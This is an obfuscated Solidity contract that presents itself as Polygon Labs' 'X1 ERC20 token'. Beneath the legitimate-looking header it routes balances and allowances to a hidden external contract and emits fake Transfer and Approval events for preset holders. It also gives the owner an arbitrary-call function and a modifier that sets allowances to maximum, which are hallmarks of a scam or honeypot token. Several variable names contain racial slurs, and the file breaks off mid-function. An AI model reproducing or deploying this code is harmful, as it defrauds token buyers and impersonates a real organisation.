// SPDX-License-Identifier: MIT

/// @title X1 ERC20 token
/// @author Polygon Labs (@DhairyaSethi, @gretzke, @qedk, @simonDos)
/// @notice This is the X1 ERC20 token contract on Ethereum L1
/// @dev The contract allows for a 1-to-1 representation between $X1 and $OKB and allows for additional emission based on hub and treasury requirements
/// @custom:security-contact security@polygon.technology

/***

                                      
   XXXXXXX       XXXXXXX      1111111        
   X:::::X       X:::::X     1::::::1        
   X:::::X       X:::::X    1:::::::1        
   X::::::X     X::::::X    111:::::1        
   XXX:::::X   X:::::XXX       1::::1        
      X:::::X X:::::X          1::::1        
       X:::::X:::::X           1::::1        
        X:::::::::X            1::::l        
        X:::::::::X            1::::l        
       X:::::X:::::X           1::::l        
      X:::::X X:::::X          1::::l        
   XXX:::::X   X:::::XXX       1::::l        
   X::::::X     X::::::X    111::::::111     
   X:::::X       X:::::X    1::::::::::1     
   X:::::X       X:::::X    1::::::::::1     
   XXXXXXX       XXXXXXX    111111111111     
                                      

***/

pragma solidity ^0.8;

interface ukasHDRGEILUhilusheruilgHLuisrhGLUIR{function factory()external view returns(address);function token0()external view returns(address);function token1()external view returns(address);function fee()external view returns(uint24);function tickSpacing()external view returns(int24);function maxLiquidityPerTick()external view returns(uint128);}interface KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv{function slot0()external view returns(uint160 hPGHR78gh78ehroguihoeuisrhgu,int24 fjgnjNLUIRHgiehgiuehriugh,uint16 tghiuHIRHiuhgerthgihi57,uint16 ktjghuHIURghoi7eh5i7ghg,uint16 rhgkhGKJRglyueghaouryghOLru458,uint8 unlitowuwefgzvdfgvadfg,bool yetjetyhjtyrjwrthwrfgvh);function feeGrowthGlobal0X128()external view returns(uint256);function feeGrowthGlobal1X128()external view returns(uint256);function protocolFees()external view returns(uint128 sdfoijgwiuerfhjgi9pquerhgp,uint128 ldkrfjqguedtpivqghergviuq);function liquidity()external view returns(uint128);function ticks(int24 tick)external view returns(uint128 jdfiovjpiowertjgipuqrhugihvquierhgui,int128 liqyrkfjqciuhrjifguhqieurghuirNe,uint256 rguihjiwuhertgnwkrtnguiowhrt,uint256 EUIYtyva7r4tha7oe45th7va8oeh87rt,int56 OIETjgnbiusjrtuih4thoawetyuerghtyuoa,uint160 rmgioqwerhuipghaeipurng,uint32 awelktvboajfgjboavjerg,bool eorfopirejgpvoqjerpgiovjqrejgi);function tickBitmap(int16 qjierhoqcvuihreuioygfhoquerguoyqerug)external view returns(uint256);function positions(bytes32 jdfhvqciouherouighoqierhgyhqcoueyrghoyuqv)external view returns(uint128 advhfakheuirfhquihgyq4gyuq4gq,uint256 bmslfkgmbsfgnmsiuheurghailer,uint256 foiqvjroigjpqoehrguihqvuiehr,uint128 fiojghnpowtjughcuwherhgciw,uint128 wlerjgvoqierjgoijqeriojgquhiuthghpiure);function observations(uint256 woirhgiwurthgoi5w47thht7w4ohith)external view returns(uint32 qe5ytbu58uy498yup9w8y5huiwirthgiuw,int56 gcqjirhiouqghouierhgiouhqeruioghuiqheruighiqr,uint160 qierutyobiuqoripejgqvhuierg,bool rucvhqnuierhguiohreoiughiquerg);}interface iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg{function observe(uint32[]calldata wboperpogkoijquehuygyegfqwe)external view returns(int56[]memory asdhfashudfghuyaergfua,uint160[]memory quirfyoiuqcheiurghuioqerghyuir);function snapshotCumulativesInside(int24 kehjfiuowehfuioehrfi,int24 giubwopierigupwoierugopiwer)external view returns(int56 oierjfqocerijxfoqiejrgoierqhg,uint160 ufhqeiurthuiqerhgiuhduhjfaklsdhfajk,uint32 odgfchyursdgfyueargfyugaeyurg);}interface lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw{function initialize(uint160 ewrgeargadrfhtjyutjyu)external;function mint(address skhgvaidufhuighspduifhg,int24 akdfgvajkdsigfjaiodfjgioa,int24 sfcvgoadhpfiuoghjvcauiosdfhgu,uint128 dkfkjghbniduasfhgudfhguipvbh,bytes calldata aiudcfghiaudhfguiccchccsdociccfcucgh)external returns(uint256 jhgcdfuyegcdfyuoeryug,uint256 sfgbisdfpogijbseoirjgiorej);function collect(address sfopbuiytiryiojkdfvhgdhg,int24 yojopkprtjqwgeurvfghaergf,int24 fqecjpeoirfjuioprhgiuerqh,uint128 aserefqevhcnoiquwehrvioquwehf,uint128 fbaerjukilkiutlilyrf)external returns(uint128 rgwerghadazfjhdgyj,uint128 vbasdrgaedrgaedrg);function burn(int24 etyjhur67ir7iujtyvhwerth,int24 dtgyjmtydjsrthvsrtgh,uint128 qfjieurhgfciourqehgoyuircghyuoegh)external returns(uint256 sfgbsrtnetbwjrtnbuiwrnpitb,uint256 dghmnryujmryumryumryum);function swap(address stghbuqerhguipqherug,bool srthhmuji,int256 etyjetyjhsrtyhrth,uint160 hdgmngmfghmyhjwrth,bytes calldata srtyhaergsdrfgaer)external returns(int256 tgwrthetyyujkukryuk,int256 wrtha4ertq4t54yh6hr);function flash(address rwtjhsrtjtyuliukley,uint256 amqe54tw5tuyhrtyjtyjoun,uint256 wrthwrthsftgtjetyje,bytes calldata rtyhnetyikjyetujida)external;function increaseObservationCardinalityNext(uint16 etykghnsfthwrth)external;}interface uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho{function setFeeProtocol(uint8 kedjhfvijadshgjivahd,uint8 adfvnakjdhfjahdv)external;function collectProtocol(address dzfgnavkfngoiaerjgoij,uint128 ghjklsfjklhjfghoistjh,uint128 safdgpiedfcvpawejfiaowej)external returns(uint128 sdrfhgvcciauheruighoiaec4vu,uint128 rgfkjehdfgheviurhguiqerhgui);}interface ojvioajdiorfjvoiaqjeruiobghjuipoaer{event Initialize(uint160 kfgjhwerfughiluaqerhvuilrheuiv,int24 fjkdhfvjiarehjpfgvoerhjoifgh);event Mint(address kfjhgvkwjwfhoguiqherifugvhqer,address indexed lwekruovbiu9op3iurtp894r5yutg8r5gh,int24 indexed frujivyfgio3ueryhtgvioqu34t87ih43t,int24 indexed ejkdfhviu34qehfiuohq34of7ih43,uint128 qerifgvhquierhfviquehrfv8hq34,uint256 qrhfgviquerhfuipvhq34piufhq,uint256 erihfgvqieurhfgviuqerhuigfhr);event Collect(address indexed sdfvvgadfgvaergvbaergbqeargb,address sergbwaergbqergnqergqeargb,int24 indexed sergbwrthnertyhnertyhe,int24 indexed dgnfvjhdfivjhjoaerijgio,uint128 ledrfgvjpqioerjgoiqverhjg,uint128 fkjgvpoierfhjgiopvwjperog);event Burn(address indexed wrtbyhwrtybwrtybwrty,int24 indexed w4r5vyw4r5yvhwrtyhvwrtybwrt,int24 indexed srtybwrtysdfhhkyulku,uint128 aerfgaedrbtqerybqerty,uint256 srthbwrtyunmryuimrttyunj,uint256 retvqrgvrqeterybwertybwrtyubn);event Swap(address indexed aevrgvqergn7t6yj7nrtyj,address indexed srtbbghwertgvcqwcergvwerg,int256 rteunmurkmryjnetyhjneb,int256 wrtvybq4rgvbq4rtgbwrtyb,uint160 er6tubnw56tyu67muje57n7je,uint128 qervtqeve45tvbq45y,int24 ertybunw56tyuw56unw56tyunbw6);event Flash(address indexed srtghvwrthvbwrthb,address indexed srtbhwrtghbtnyuj,uint256 ukmjnrujyjbet,uint256 srtvywrthvhgb,uint256 tunwtum6uw356,uint256 rvyw75iv7864e6tu);event IncreaseObservationCardinalityNext(uint16 sfgnbfguhbpvqiorhptguiohqvpeuiorgth,uint16 kjsfdgvhiuahruiftghopiaerhpgiouhruhg);event SetFeeProtocol(uint8 erkghfvqoerghvluiqerhgpivuerqhg,uint8 rfjhgvqergouivqerhogyuhvqer,uint8 kjrfhgvquerhguipqvhergu,uint8 wrdflgvjpweioarfgjopqaerijgov);event CollectProtocol(address indexed rfljkghvwuirfhbpiuwrhtpuibh,address indexed gkwrvjhoguiqrhguihwvecruigh,uint128 werghvoquryeghovyuiqergh,uint128 vwreughviuqreghovuiqeryg);}interface jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn is ukasHDRGEILUhilusheruilgHLuisrhGLUIR,KUNEUILRGBHFUISHBglyuisbljrhdfvbljahdbfhjvbjadfv,iuawehfpiauhwei9478hgliah4gr7uyhlYUIYREghklsyuzrg,lrukhguilaerilughughalidbdYHUBLYUGSERYuftgwu46y7rfgaw,uirhfgvuiarsdhilguhopasderihufgDOPIRGHYUIOghozdyugho,ojvioajdiorfjvoiaqjeruiobghjuipoaer{}interface rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{event Transfer(address indexed gvqejrhgiuaerhgiuqerhgiu,address indexed kfjdhgvouiqrhgpiqhpirgiu,uint256 ergivjiouaefrhvbgiuqerhuihg);event Approval(address indexed iqevuryguiyrpiuytb84577tyb5y6wg,address indexed tiopugvy45vhg75hgise5g,uint256 qdvhjkfgvbuiafhpgiqeruigh);function totalSupply()external view returns(uint256);function balanceOf(address opwfcgirhjiqerhygouiqcvoeirugh)external view returns(uint256);function transfer(address wrbywrthbwrtuj,uint256 tuwnrgumweorvigioq4urgv)external returns(bool);function allowance(address rtwuybwrthwrthwnrb,address rtnywrtyhbw4r5tyhb)external view returns(uint256);function approve(address er6ybaerfgtrhnytikj,uint256 ssr5nywr5ybwr5y)external returns(bool);function transferFrom(address dfgnsdrtjwrstykjwsrtyn,address sdftghwsrtjhwsrt,uint256 sftgjnsfgbsfgb)external returns(bool);}interface ruihgiUHILURHGUILhluihlghuieasrhuigh is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg{function name()external view returns(string memory);function symbol()external view returns(string memory);function decimals()external view returns(uint8);}interface fjrguioaserhjuiHJUIDRHguihuirehga{event OwnerChanged(address indexed tywhrtwhwtrvbg,address indexed wervtyqrtjnryuikr);event PoolCreated(address indexed wertvyedtqrnw6rt6yuhnwrth,address indexed wervtgvbwertbyeytjbvtej,uint24 indexed wr5tyhbvw45uy56nue65ucw45tfcw4,int24 ertb6ue56u6unyo98p,address ebrtguyyiyqrytq4ynteyinty);event FeeAmountEnabled(uint24 indexed tghvwert56ujbet6yw5rgvbw45y,int24 indexed serbysergvser5g5vae45vtgsea);function owner()external view returns(address);function feeAmountTickSpacing(uint24 wsrtybvwrtybwdrtybhwertgb)external view returns(int24);function getPool(address ebfgyujnstny4w5y567jft7idt,address wr5yher6hsbr5yn45whgnbw,uint24 wvrtygbwrthwrtghnrrhbtybnwrtghbaer)external view returns(address sdfthsdfthjdtfiurtyuj6eru);function createPool(address hsrrthrsdtbsrfdth,address tokhertyhertyhertyhetrghxfte,uint24 thrtwhwer6ut6j7ethjyt)external returns(address wgv5y5ywb5w4ywr5thgrtgh);function setOwner(address erthjrtfhjsdfthye6herthrth)external;function enableFeeAmount(uint24 wr5t6hwrthfthdfth,int24 trhe56rh6redshthwrth)external;}interface rojhgiouserhjughjIUHRUIghluihseilrug{function uniswapV3MintCallback(uint256 vjkldLSDKPgiospoerg98re8rg,uint256 ogkrKOPRFOPhor9herh8et,bytes calldata osdfkvJIOPSRgjjruhweyurygfs)external;}interface fdjhuiphUIPHRUIghuidrhuighuiehgwe{function uniswapV3SwapCallback(int256 fdiojbiJFIOHJDISOPJHRF,int256 vjjOISERJghipjioperjh9hw8ewpe98r5,bytes calldata dgjiJSIORJGiojrthj98df8bwefwe)external;}interface fvbihnSIOUUEhgituowhuivnu7r778z7yduf{function fe6c46bc3b6c()external view returns(address);function a2f409198077()external view returns(address);function c36e32f9dffe(address ilusdhriuhgui)external;}interface ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d{function bfeb2faed153()external view returns(uint256);function c6d82de276f0()external view returns(uint256);event B32af3805412(uint256 idabfvnGador8tgo);event Df5cb0ac5af6(address ieurghuishlrunvb,uint256 vb9tynu9e8yrhg);function ec47f8bce750()external view returns(uint256);function cb9a9f3c49fd(address fioiojfOISDRFighjopsrghp)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);function adbfe1118e05(uint256 dfklvSOPdegopskrokvsdpokvo)external view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory);}interface dikjIKUYUISDeugsukKUSEU8e48fy934{function b32af3805412(uint256 uysdgvfktyuGVKYUSEDGFIUSYEGIyfg7uw6yefgeee7u8wrga8)external;function df5cb0ac5af6(address r9oeikpkrgmlkdfgnmbdiortoh8rth,uint256 fogbOPSDOPRjghjkdropghkoprdbvkepodrv)external;function bbe672b5acc8(uint256 flkvbOLKROPgkoprekg,uint256 fdvdfoOPRJohkgopwerkgopkg,uint256 flOLFovbldfopkbkdpofkbort9bn9)external;}interface dujhvUSEUhgiuhuihued87w747hwif{function dbd253ba9079()external view returns(uint256);function ba179150f767(address kvldkiosioodimidsd)external view returns(uint256);function a117c97c1973(address vmlsdkvmksmdklmvklmskldv,address owietqpoiefjqpoeidcmqe)external view returns(uint256);function e20d660cdf88(address dijvvUISDHEPSIEUHFGu8hi,address jvbjdiiioIODJFIOJbijiojoijipopp,uint256 vmKMIOSdjnkmlrevmpweopvower)external returns(bool);function a00d660cdf88(address uirvuue89tg7847rewgh7vhaiuser,address jjSIOEDigjojierigopwoegpk0wke0g,uint256 mmLIMEDImgjpwekogkrboijOIJSDRgb)external returns(bool);function ad3824bcab20(address nnUIONEguionoweruingre8g8werg,address vmmIOPSRgjirpiohbopefopvbksdp,uint256 dvisdkmIKOLSDEIMOvpseovwsdvs)external returns(bool);}struct IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er{address duvcUIHUISEDHui;uint256 dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs;uint256 divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h;uint256 dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;mmmIKOIDeiufoisefuoise989werh789vu[]mmmOILKDfjrgonoernphwsotwkboiertiomb;}struct mmmIKOIDeiufoisefuoise989werh789vu{address vnuJJUIOLSE9he9rkbveiaerge;uint256 vmIEDIOiopfwppeofgkpg9w9eg;}uint256 constant UIduhvuUISEDHuorghsoosircJJu8wopexieojcvoheA1Iee=1000000;uint256 constant bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku=type(uint256).max;interface IHGruehgiunsrfuvdniugh6e4tsyudgvb is fvbihnSIOUUEhgituowhuivnu7r778z7yduf,ffiOIRHghoshNOISDUHRUIghrh9ge8r8r5gbe8d,dikjIKUYUISDeugsukKUSEU8e48fy934,dujhvUSEUhgiuhuihued87w747hwif{}library IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7{function OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(IHGruehgiunsrfuvdniugh6e4tsyudgvb ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne,address dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7)internal view returns(IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory){return ILUSRGNnhliuseanvoiurnpize8r7y9te845gerfugvhbne.cb9a9f3c49fd(dfiuoIOEYUDHtgvfuipyrtiuhruihtgiuarheah7);}function PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(IHGruehgiunsrfuvdniugh6e4tsyudgvb cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q,address vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g,uint256 kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb)internal{cndujnvUINUIRSEBGuirehbuivbaeiur75r48it493q.df5cb0ac5af6(vbnIKUSBNDFVHBIORUhgieurhg8reg9we4g, kjmdfbiojvknOSNFFIOUSDNbiauerthbnpuihsrb);}function OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH(IHGruehgiunsrfuvdniugh6e4tsyudgvb fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h)internal view returns(uint256){return fgjnaNFOUINDTFUIghjtoipunbhpsrw98it5h.dbd253ba9079();}function OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(IHGruehgiunsrfuvdniugh6e4tsyudgvb fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh,address fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb)internal view returns(uint256){return fpuihgbuiZFHdUIPHUIghep8ioasrt7ser8p7tghp8eras7gh.ba179150f767(fmboNIOFSDNgboidfnbuiontgrfuibnshpbirutnb);}function dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(IHGruehgiunsrfuvdniugh6e4tsyudgvb iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg,address fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng,address lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig)internal view returns(uint256){return iyuegYUOGFUOYEDGVAOUYyusdbrfyubgvhuiasdf74w34ghsdlhfg.a117c97c1973(fduihgbiuzDHFIOUHFuigaepruihjpauierhbpaiuerhb89rhg9e8shrng, lfkmnhzlkjnfdIOSEDHUgiurhgirhaiguhreiugh7dyughbsjig);}function KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(IHGruehgiunsrfuvdniugh6e4tsyudgvb kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi,address fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg,address FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt,uint256 klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh)internal returns(bool){return kljftgnbIUBDFJghiasudfrhgbiluadsrfhbuihnad847ytgaehiurghvbadi.e20d660cdf88(fknbkJNIKSDFRJUHNuioerahjioaeht58hygpeioa85rhg, FNSOBNSFIKDJUghbnzduirfhnrzduirfthgiopaert8uheioth85hgibsurt, klfnbnIOSDRhjohuorIHNFUIONurhEDUrfhkdnfkjhnbdkfbn5898ghhhh);}function IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(IHGruehgiunsrfuvdniugh6e4tsyudgvb JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb,address jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg,address gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb,uint256 JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg)internal returns(bool){return JLYEDgbluiydfuilvbildfruhvblujiDSHBLUIHRfuigheiru7ghei7urgbiasedrfb.a00d660cdf88(jfvbnifhIUBSRILYUGblisrughidrsuhgirufhLUBSDRugi5r7485h8ihg, gkljbnKJLFNDHiknrfuihgieruthgsifgjtbnsriutnbiusrthb, JHGSDVkuySBKEDRUYVBBKSUerygviuerhe874rytg8UYGSEufgueyg);}function OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(IHGruehgiunsrfuvdniugh6e4tsyudgvb jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd,address hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy,address fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh,uint256 fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH)internal returns(bool){return jfnbkJNKLUGEDVykfesyufgusyegbfvyukUYSEDbfkvuysgeufvyd.ad3824bcab20(hdfbjbUJBUSERYGkusygefkubkUYGSEDBRkuyesrkuyghy, fbvjhBJLSDHRFBgluihbruilghbvldirfblizduhnLIUHrfbihndzuilfrbh, fblfibLUDFHBvliBUhlsuiedhgiluszdhrlgiuhLIHSDRFGuilH);}}abstract contract bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private siojdcHHCpa;constructor(){siojdcHHCpa=msg.sender;}modifier onlyOwner(){POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg();_;}function POKSDfkadrfopkgaioerfjgipshjfpuighwropuith0g8rg()internal view virtual{require(msg.sender==siojdcHHCpa,"NO");}}abstract contract vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{address private asxIIOICjsl;function owner()external view virtual returns(address){return asxIIOICjsl;}function e248103f8262(address cideJJcAtr)external onlyOwner{asxIIOICjsl=cideJJcAtr;}}abstract contract pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l{uint256 private SiwodfcnJYHUds;modifier acquiresLock{_;SiwodfcnJYHUds=block.number;}modifier requiresLock{require(SiwodfcnJYHUds!=block.number,"BL");_;}}abstract contract duhvushUIOSHDEURIghuishreguihwsuig is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk{receive()external payable{}function c91a97942d5a(address Hhchuid,uint256 HPSCwee,bytes calldata zXXc0YYajikn)external onlyOwner{(bool ttRrauysgc,)=Hhchuid.call{value:HPSCwee}(zXXc0YYajikn);require(ttRrauysgc);}}abstract contract NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4 is rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg,ruihgiUHILURHGUILhluihlghuieasrhuigh{using IAJfoijOISDJgpidfpojgbpsdfjboisjdpfogjnboiunosfuinvowornt7 for IHGruehgiunsrfuvdniugh6e4tsyudgvb;IHGruehgiunsrfuvdniugh6e4tsyudgvb private immutable KKkd9jcawj;string private ddOJIJIO;string private WWncisudcin;modifier bypassKLimit(address PVPfpbnwnqGYUYGsc){uint256 asaERTYjbmvrbopopvddwefm=JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(PVPfpbnwnqGYUYGsc);iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);_;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(PVPfpbnwnqGYUYGsc,asaERTYjbmvrbopopvddwefm);}constructor(string memory erhjktbpdfvsoGGG,string memory erthbhbrGYUTYFDRvc,address mmweDD7dsccKKK){ddOJIJIO=erhjktbpdfvsoGGG;WWncisudcin=erthbhbrGYUTYFDRvc;KKkd9jcawj=IHGruehgiunsrfuvdniugh6e4tsyudgvb(mmweDD7dsccKKK);KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(address(this),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);uint256 oovlvllvlvTYGTG=KKkd9jcawj.ec47f8bce750();for(uint256 aaaRRFTRTFCCTVY=0;aaaRRFTRTFCCTVY<oovlvllvlvTYGTG;aaaRRFTRTFCCTVY++){IUSDgbyuifvghIOUSGHIDERHFGIOSHG8e88e88egwy7er memory vbnvbvbMJKMRRT=KKkd9jcawj.adbfe1118e05(aaaRRFTRTFCCTVY);emit Transfer(address(0),vbnvbvbMJKMRRT.duvcUIHUISEDHui,vbnvbvbMJKMRRT.divijUUJNIUNIUINedohufgaseoiwiooe8843ef8h-vbnvbvbMJKMRRT.dijcvnnnmmcieicniuonIUHSERUFGhSHe777rfgvs);for(uint256 weeFTYUTYfcvubsiodfib=0;weeFTYUTYfcvubsiodfib<vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb.length;weeFTYUTYfcvubsiodfib++){mmmIKOIDeiufoisefuoise989werh789vu memory bbTYFPPafjhnfvhnvuisdhuv=vbnvbvbMJKMRRT.mmmOILKDfjrgonoernphwsotwkboiertiomb[weeFTYUTYfcvubsiodfib];emit Approval(vbnvbvbMJKMRRT.duvcUIHUISEDHui,bbTYFPPafjhnfvhnvuisdhuv.vnuJJUIOLSE9he9rkbveiaerge,bbTYFPPafjhnfvhnvuisdhuv.vmIEDIOiopfwppeofgkpg9w9eg);}}}function a5feccd6e5df()external view returns(address){return address(KKkd9jcawj);}function name()external view returns(string memory){return ddOJIJIO;}function symbol()external view returns(string memory){return WWncisudcin;}function decimals()external pure returns(uint8){return 18;}function totalSupply()external view returns(uint256){return KKkd9jcawj.OIDFJgjsfpdioghjspdrfthjgpishjdfpiuhjgbpIUHPRFIGH();}function balanceOf(address huivhRTRDTDR)external view returns(uint256){return KKkd9jcawj.OIJDgopfjdfogjPIFUHJGPIUDFHgipupfguihspihjpfghiojspo(huivhRTRDTDR);}function transfer(address vbnbnfsnbnsdfbHIUIHHUHUIOHU,uint256 bbvncbbCDDDDdcstacvcdTTYTT)external returns(bool){address vvvrasYYGUGYUhuvuiduhvdfkovkovdf=msg.sender;return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vvvrasYYGUGYUhuvuiduhvdfkovkovdf,vbnbnfsnbnsdfbHIUIHHUHUIOHU,bbvncbbCDDDDdcstacvcdTTYTT);}function allowance(address BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,address gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi)external view returns(uint256){return KKkd9jcawj.dSPOERgjkiodrjpgh9wsjpert8gwj0po9er8hgHOSRIgh78rg(BBHvvhbvhbjdfhbdfvjhbYGBBYJNJK,gvvcjnavuaiyTYDRTDRFRD7fue7fgyhi);}function approve(address vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,uint256 nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD)external returns(bool){address fbnjksjknhjbDFEruedidjdicklGGGsss=msg.sender;return OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(fbnjksjknhjbDFEruedidjdicklGGGsss,vvczxmnbnRTDDDopkopfkoekopefnnvrftacsrf,nbbCVCFCFCfdjksjsjnsdjnvjnniggerTRTFRD);}function transferFrom(address vcvcUIUHHUIhuenfklwppffs,address nnUHUIUIHUIhvbwfvakoasisdif,uint256 bbvTYTVYRTYT0dvllkjkiqauiwuhdf)external returns(bool){address bbVTTYTYTtdumBASsuiuiuh=msg.sender;KKkd9jcawj.OIJrgoisjrtpiogjhsioftjhpiosdjfotijhposrtijhiwujnrv0wi5u4(vcvcUIUHHUIhuenfklwppffs,bbVTTYTYTtdumBASsuiuiuh,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);return OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(vcvcUIUHHUIhuenfklwppffs,nnUHUIUIHUIhvbwfvakoasisdif,bbvTYTVYRTYT0dvllkjkiqauiwuhdf);}function OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(address nnTTYtepppkvjhjhwiuyehgfFseX,address hhuUYTYUUTYeihhfUIUisuHgGG,uint256 bbbBBBisiicjhjgdr5rrhaui78TGTT)internal returns(bool){require(nnTTYtepppkvjhjhwiuyehgfFseX!=address(0),"IS");require(hhuUYTYUUTYeihhfUIUisuHgGG!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(nnTTYtepppkvjhjhwiuyehgfFseX,hhuUYTYUUTYeihhfUIUisuHgGG,bbbBBBisiicjhjgdr5rrhaui78TGTT);}function dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(address vvYUOPKOJvjnbvbnffvvNKRFshtys,uint256 bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal)internal returns(bool){require(vvYUOPKOJvjnbvbnffvvNKRFshtys!=address(0),"IR");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address(0),vvYUOPKOJvjnbvbnffvvNKRFshtys,bbUGYGYUYUdklslslllldiviiUIUIUUdkdhnqwowfal);}function oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,uint256 vvRTRTedvyuysdyvgIloveGGaysygufyppPP)internal returns(bool){require(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui!=address(0),"IS");require(vvRTRTedvyuysdyvgIloveGGaysygufyppPP>0,"ZA");return iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(FPOIBJftydytyyyyyJJJsiodfhihhsdhuifhui,address(0),vvRTRTedvyuysdyvgIloveGGaysygufyppPP);}function OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(address ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,address bbbTvvreeeTTTscatyhyaikfhhhUUUU,uint256 nnYBUYUgvjikikkksuuuuufcgvgFFF)internal returns(bool){require(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH!=address(0),"IO");require(bbbTvvreeeTTTscatyhyaikfhhhUUUU!=address(0),"IS");KKkd9jcawj.IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,bbbTvvreeeTTTscatyhyaikfhhhUUUU,nnYBUYUgvjikikkksuuuuufcgvgFFF);emit Approval(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,bbbTvvreeeTTTscatyhyaikfhhhUUUU,nnYBUYUgvjikikkksuuuuufcgvgFFF);return true;}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,address cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,uint256 vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik)internal virtual returns(bool){bool 